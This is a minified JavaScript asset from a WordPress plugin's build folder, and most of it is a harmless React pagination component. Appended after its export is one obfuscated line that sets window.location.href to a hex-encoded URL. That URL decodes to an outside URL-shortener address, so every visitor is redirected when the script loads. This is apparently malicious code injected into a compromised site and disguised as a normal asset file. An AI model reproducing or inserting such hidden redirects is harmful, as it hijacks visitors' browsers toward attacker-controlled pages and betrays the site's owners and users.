File: /home/parhudrw/anqa.it/wp-content/plugins/festingervault/build/assets/VSYHeJvG.431dca.js
import{j as i,b as c,r as d,M as g,X as w,Y as M,_ as j,Z as b,$ as I}from"./0rvbeSEg.431dca.js";const p=({className:s,...a})=>i.jsx("nav",{role:"navigation","aria-label":"pagination",className:c("mx-auto flex w-full justify-center",s),...a});p.displayName="Pagination";const N=d.forwardRef(({className:s,...a},n)=>i.jsx("ul",{ref:n,className:c("flex flex-row items-center gap-1",s),...a}));N.displayName="PaginationContent";const x=d.forwardRef(({className:s,...a},n)=>i.jsx("li",{ref:n,className:c("",s),...a}));x.displayName="PaginationItem";const m=({className:s,isActive:a,size:n="icon",to:o,...l})=>i.jsx(g,{to:o,"aria-current":a?"page":void 0,className:c(w({variant:a?"outline":"ghost",size:n}),s),...l});m.displayName="PaginationLink";const f=({className:s,...a})=>i.jsxs(m,{"aria-label":"Go to previous page",size:"default",className:c("gap-1 pl-2.5",s),...a,children:[i.jsx(M,{className:"h-4 w-4"}),i.jsx("span",{children:j("Previous")})]});f.displayName="PaginationPrevious";const u=({className:s,...a})=>i.jsxs(m,{"aria-label":"Go to next page",size:"default",className:c("gap-1 pr-2.5",s),...a,children:[i.jsx("span",{children:j("Next")}),i.jsx(b,{className:"h-4 w-4"})]});u.displayName="PaginationNext";const v=({className:s,...a})=>i.jsxs("span",{"aria-hidden":!0,className:c("flex h-9 w-9 items-center justify-center",s),...a,children:[i.jsx(I,{className:"h-4 w-4"}),i.jsx("span",{className:"sr-only",children:"More pages"})]});v.displayName="PaginationEllipsis";function L(s,a,n=1){let o=[],l=Math.max(1,s-n),t=Math.min(s+n,a);const r=(e,h=!1,y=!1)=>{y?o.unshift({page:e,separator:h,active:s===e}):o.push({page:e,separator:h,active:s===e})};s-1<=n&&(t=Math.min(a,1+n*2)),a-s<=n&&(l=Math.max(1,a-n*2));for(let e=l;e<=t;e+=1)r(e);return l!==1&&(r("...",!0,!0),r(1,!1,!0)),t!==a&&(r("...",!0),r(a)),o}function E({totalPages:s=1,currentPage:a=1,urlGenerator:n,className:o=""}){if(s<2)return null;const l=d.useMemo(()=>L(a,s),[a,s]);return i.jsx(i.Fragment,{children:i.jsx(p,{className:o,children:i.jsxs(N,{children:[a>1&&i.jsx(x,{children:i.jsx(f,{to:n(a-1)})}),l.map((t,r)=>i.jsx(x,{children:t.separator===!1?i.jsx(m,{to:n(t.page),isActive:t.active,children:t.page}):i.jsx(v,{})},r)),a<s&&i.jsx(x,{children:i.jsx(u,{to:n(a+1)})})]})})})}export{E as P};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";